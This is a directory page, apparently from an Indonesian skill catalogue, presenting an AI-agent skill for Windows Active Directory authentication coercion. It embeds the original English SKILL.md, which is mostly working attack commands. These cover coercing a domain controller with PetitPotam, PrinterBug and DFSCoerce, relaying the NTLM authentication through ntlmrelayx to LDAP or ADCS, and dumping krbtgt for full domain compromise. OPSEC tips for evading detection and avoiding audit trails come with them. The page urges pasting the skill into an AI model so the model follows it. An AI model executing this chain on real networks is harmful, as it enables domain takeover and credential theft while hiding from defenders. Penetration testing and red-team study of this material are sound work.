Langsung ke konten
Skillpedia
Keamanan6.5k Β· #13940

ad-coercer

Fungsinya

Skill ini menjelaskan beberapa kelemahan protokol Windows yang sudah dikenal dan cara penguji keamanan memeriksanya di lab atau jaringan yang berwenang. Skill ini untuk orang yang meninjau seberapa baik domain Windows menahan login yang dipaksakan.

Kapan dipakai

  • βœ“Saat seorang penguji keamanan bertanya apakah domain controller bisa dipaksa mengirim data login dalam uji yang berwenang.
  • βœ“Ketika agent perlu menjelaskan kelemahan protokol mana yang sudah ditambal atau dimitigasi.
  • βœ“Ketika sebuah laporan harus menjelaskan risiko dan pertahanan yang direkomendasikan.

Link skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/coercer/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/coercer/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit β†’

Contoh permintaan ke AI

β€œBisakah Anda memeriksa jaringan uji kami yang berwenang untuk protokol Windows yang memungkinkan server dipaksa melakukan autentikasi?”

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Agent menyiapkan listener di sisi uji, menjalankan pemeriksaan yang dipilih terhadap target yang disetujui, dan mencatat apakah target mencoba melakukan autentikasi.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

Authentication Coercion (PetitPotam family)

Force a Windows machine β€” usually a Domain Controller β€” to send an NTLM authentication to an attacker-controlled host. Then either relay the auth (via ntlmrelayx) or crack it offline.

The family of coercion vulnerabilities

Vector Protocol RPC Mitigated by
PetitPotam MS-EFSR (Encrypting File System Remote) EfsRpcOpenFileRaw KB5005413 (Aug 2021) β€” partial; bypasses persist via other Efs* methods
PrinterBug MS-RPRN (Print System Remote) RpcRemoteFindFirstPrinterChangeNotificationEx Disable Print Spooler
DFSCoerce MS-DFSNM (Distributed File System) NetrDfsGetVersion, NetrDfsRemoveStdRoot Restrict DFSN to admins
ShadowCoerce MS-FSRVP (File Server Remote VSS) IsPathSupported KB5015527 (Jul 2022)
CheeseOunce / WebDavCoerce WebDAV WebClient (various) Disable WebClient service

All four boil down to: an unauthenticated/low-priv RPC call that triggers the target to authenticate outbound.

Workflow

1. Set up the listener (attacker)

# Option A: ntlmrelayx (relay auth to a useful service)
sudo impacket-ntlmrelayx -t ldap://dc.target.local --escalate-user lowpriv -smb2support
# OR relay to ADCS for cert-based domain admin:
sudo impacket-ntlmrelayx -t http://ca.target.local/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

# Option B: just capture the hash
sudo impacket-ntlmrelayx -t ldap://dc.target.local --no-smb-server
# OR with responder
sudo responder -I eth0

2. Coerce auth from a target machine

# Coercer β€” meta-tool, tries every vector
git clone https://github.com/p0dalirius/Coercer
sudo python3 Coercer.py coerce -l <attacker_ip> -t <target_ip> -u 'low_priv_user' -p 'pass'
# or anonymous (often works pre-PetitPotam patch):
sudo python3 Coercer.py coerce -l <attacker_ip> -t <target_ip> -u '' -p ''

# Or individual scripts:
python3 PetitPotam.py <attacker_ip> <target_ip>
python3 dfscoerce.py -u lowpriv -p pass <attacker_ip> <target_ip>
python3 printerbug.py target.local/user:pass@<target_ip> <attacker_ip>

3. Catch the auth β†’ escalate

[ntlmrelayx] SMBD-Thread-X: Received connection from <target_ip>, attacking target ldap://dc.target.local
[ntlmrelayx] Authenticating against ldap://dc.target.local as TARGET\DC$ SUCCEED
[ntlmrelayx] Adding lowpriv to Domain Admins group: SUCCEED

If you relayed to ADCS:

[ntlmrelayx] GOT CERTIFICATE! ID 1234
[ntlmrelayx] Base64 certificate of user DC$: MII...

Then use that cert with certipy auth -pfx dc.pfx -username 'dc$' -domain target.local.

Why coerce DC$? β€” The privilege escalation chain

The DC's machine account (DC$) has Replicating Directory Changes permission. With its NTLM hash or TGT, you DCSync and own the domain:

# After getting DC$ cert from ADCS relay:
certipy auth -pfx dc.pfx -username 'dc$' -domain target.local
# Returns TGT
impacket-secretsdump -k -no-pass target.local/dc$@dc.target.local
# Dumps krbtgt β€” full domain compromise

Targets that work

  • Any unpatched DC (most environments still have PetitPotam variants)
  • Any server with Print Spooler running (PrinterBug)
  • Any Windows server with DFS Namespace (often DCs + file servers)
  • ADCS Web Enrollment endpoint (relay to it for cert-based DA)

OPSEC

  • Coercion attempts log EFSRPC_* / RPRN_* event sources on the target β€” usually low-priority but visible in dedicated AD-attack detection (MDI, Defender for Identity).
  • Inbound NTLM authentication from a DC to a non-domain workstation is a strong signal β€” relay to a host that legitimately receives auth (a file server, a printer-ish hostname).
  • Use a coercion vector that DOESN'T require credentials (PetitPotam unauthenticated path, ShadowCoerce) if possible β€” leaves no user-level audit trace.

References

  • topotam77's PetitPotam β€” github.com/topotam/PetitPotam
  • p0dalirius's Coercer β€” github.com/p0dalirius/Coercer
  • dirkjanm's "Relaying NTLM auth" series
  • SpecterOps "Coercing AD auth" cheat sheet
  • ADCS abuse: SpecterOps "Certified Pre-Owned" whitepaper
Pertanyaan umum

Apa arti autentikasi paksa?

Itu berarti sebuah mesin Windows diperdaya untuk mengirim data login ke sistem lain, yang kemudian bisa dipelajari oleh penguji.

Bagaimana cara bertahan dari serangan ini?

Skill mencantumkan mitigasi seperti patch, mematikan Print Spooler, dan membatasi protokol tertentu.

Apakah skill mencakup serangan nyata pada sistem aktif?

Skill ditulis hanya untuk uji yang berwenang, dan pemilik jaringan harus menyetujui setiap uji.

Detail

Deskripsi asli dari pembuat

Authentication coercion against Windows / AD β€” PetitPotam (MS-EFSR), PrinterBug (MS-RPRN), DFSCoerce (MS-DFSNM), ShadowCoerce (MS-FSRVP), Coercer.py meta-tool. Force a Windows machine to NTLM-authenticate to attacker, then relay or crack offline.

repo: BitterSecurity/Decepticon

Popularitas

Bintang GitHub
6.5k
Peringkat
#13940
Lisensi
Apache-2.0
Diperbarui
1/11/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • …

Skill lain dari repositori ini

Skill serupa